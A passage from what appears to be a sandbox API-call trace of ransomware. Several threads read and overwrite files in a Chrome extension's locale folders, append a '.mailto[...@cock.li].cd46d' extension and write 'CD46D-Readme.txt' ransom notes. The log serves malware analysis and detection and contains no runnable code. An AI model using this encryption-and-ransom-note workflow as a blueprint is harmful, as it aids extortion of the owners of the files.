Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x1e204f86 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x5f61af8e [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x34165e2e [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x5965819 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x409d1a4d [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x50f27480 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x47f1f973 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x192747a8 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x1ffda381 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x14c2f94c [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x43f3360 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x6e5e8f13 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x146f0a55 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x3659e99e [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x6fd8139 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x2be300e2 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x4023542e [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x153c6d5f [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x77bfaceb [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x88e7a97 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x5717ae86 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x58a6018e [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x1d8217b2 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x23c06a1b [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x7f01bb31 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x37bc4778 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x5ca4fb2b [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x5d800d7e [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x150057b9 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x6c5f9996 [0193.195] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x3b3cf5f0 [0193.208] ReadFile (hFile=0xad0, lpBuffer=0x135ac820, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x6b4f7b0, lpOverlapped=0x0) [0193.208] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.208] WriteFile (in: hFile=0xad0, lpBuffer=0xd4f8870*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x6b4f7ac, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesWritten=0x6b4f7ac*=0x14c, lpOverlapped=0x0) returned 1 [0194.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945758 [0194.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459b0 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459b0) returned 1 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135ac820) returned 1 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9430) returned 1 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f96d8) returned 1 [0194.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6900 [0194.461] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.461] WriteFile (in: hFile=0xad0, lpBuffer=0x12cf6e18*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x6b4f814, lpOverlapped=0x0 | out: lpBuffer=0x12cf6e18*, lpNumberOfBytesWritten=0x6b4f814*=0x10b, lpOverlapped=0x0) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6e18) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6930) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459b0) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6900) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945758) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef60) returned 1 [0197.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0197.522] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494808 [0197.522] wcscpy (in: _Dest=0xd494808, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" [0197.522] wcscat (in: _Dest=0xd494808, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.522] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6b4f7cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.522] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9208 [0197.854] FlushFileBuffers (hFile=0xad0) returned 1 [0197.857] CloseHandle (hObject=0xad0) returned 1 [0197.935] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6eb0 [0197.935] wcscpy (in: _Dest=0x9b6eb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\" [0197.935] wcscat (in: _Dest=0x9b6eb0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\CD46D-Readme.txt" [0197.935] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\cd46d-readme.txt")) returned 0xffffffff [0197.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x179c [0198.033] WriteFile (in: hFile=0x179c, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x6b4f7d4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x6b4f7d4*=0x6fd, lpOverlapped=0x0) returned 1 [0198.144] CloseHandle (hObject=0x179c) returned 1 [0198.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6eb0) returned 1 [0198.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48098) returned 1 Thread: id = 8049 os_tid = 0x1764 [0188.484] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json")) returned 0x2020 [0189.202] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json", dwFileAttributes=0x20) returned 1 [0193.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x890 [0193.210] GetFileSizeEx (in: hFile=0x890, lpFileSize=0x5fef7ec | out: lpFileSize=0x5fef7ec*=215) returned 1 [0193.210] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.210] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0193.210] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af028 [0193.210] NtQuerySystemTime (in: CurrentTime=0x5fef74c | out: CurrentTime=0x5fef74c*=132174899678074000) returned 0x0 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x4d0e3400 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x18610d81 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x55693525 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x171e8adf [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x4d9f9da4 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x68e3afca [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x1485d72d [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x74f880 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x53620cb0 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x7d84147e [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x6a09efd9 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x19f0bc3e [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x2cb68ed6 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x207cf06e [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x39257039 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x7d02f390 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x2300d57b [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x188be641 [0193.210] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x2a1e623d [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x25d43b8f [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x5d519862 [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x697ca493 [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x554ed5bc [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x49ed140c [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x6be0b91e [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x4bd0c0a5 [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x5d67d85a [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x5098108e [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x53275fce [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x1787db9f [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x9f0fd19 [0193.211] RtlRandomEx (in: Seed=0x5fef758 | out: Seed=0x5fef758) returned 0x65cb62ea [0193.224] ReadFile (hFile=0x890, lpBuffer=0xd505078, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x5fef748, lpOverlapped=0x0) [0193.225] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.225] WriteFile (in: hFile=0x890, lpBuffer=0xd511880*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x5fef744, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesWritten=0x5fef744*=0xd7, lpOverlapped=0x0) returned 1 [0195.169] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9096e0 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909708 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909708) returned 1 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6de0 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f9690 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8e90 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909708 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909708) returned 1 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6e10 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909708 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909870 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909870) returned 1 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0195.170] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0195.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf54f0 [0195.170] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.171] WriteFile (in: hFile=0x890, lpBuffer=0x12cf54f0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x5fef7ac, lpOverlapped=0x0 | out: lpBuffer=0x12cf54f0*, lpNumberOfBytesWritten=0x5fef7ac*=0x10b, lpOverlapped=0x0) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf54f0) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6e10) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909708) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6de0) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9096e0) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0197.740] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0197.740] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0197.740] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494990 [0197.740] wcscpy (in: _Dest=0xd494990, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" [0197.740] wcscat (in: _Dest=0xd494990, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.740] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5fef764, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.740] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0197.913] FlushFileBuffers (hFile=0x890) returned 1 [0197.927] CloseHandle (hObject=0x890) returned 1 [0197.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6848 [0197.982] wcscpy (in: _Dest=0x9b6848, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\" [0197.982] wcscat (in: _Dest=0x9b6848, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\CD46D-Readme.txt" [0197.982] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\cd46d-readme.txt")) returned 0xffffffff [0197.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.113] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x5fef76c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x5fef76c*=0x6fd, lpOverlapped=0x0) returned 1 [0198.114] CloseHandle (hObject=0x1094) returned 1 [0198.114] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6848) returned 1 [0198.114] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d481d0) returned 1 Thread: id = 8050 os_tid = 0x18b8 [0188.485] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json")) returned 0x2020 [0188.485] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json", dwFileAttributes=0x20) returned 1 [0191.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe20 [0191.214] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0xb0ef8b0 | out: lpFileSize=0xb0ef8b0*=269) returned 1 [0191.214] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x109, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.214] ReadFile (in: hFile=0xe20, lpBuffer=0xb0ef834, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb0ef830, lpOverlapped=0x0 | out: lpBuffer=0xb0ef834*, lpNumberOfBytesRead=0xb0ef830*=0x4, lpOverlapped=0x0) returned 1 [0191.215] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.215] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.215] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98c8 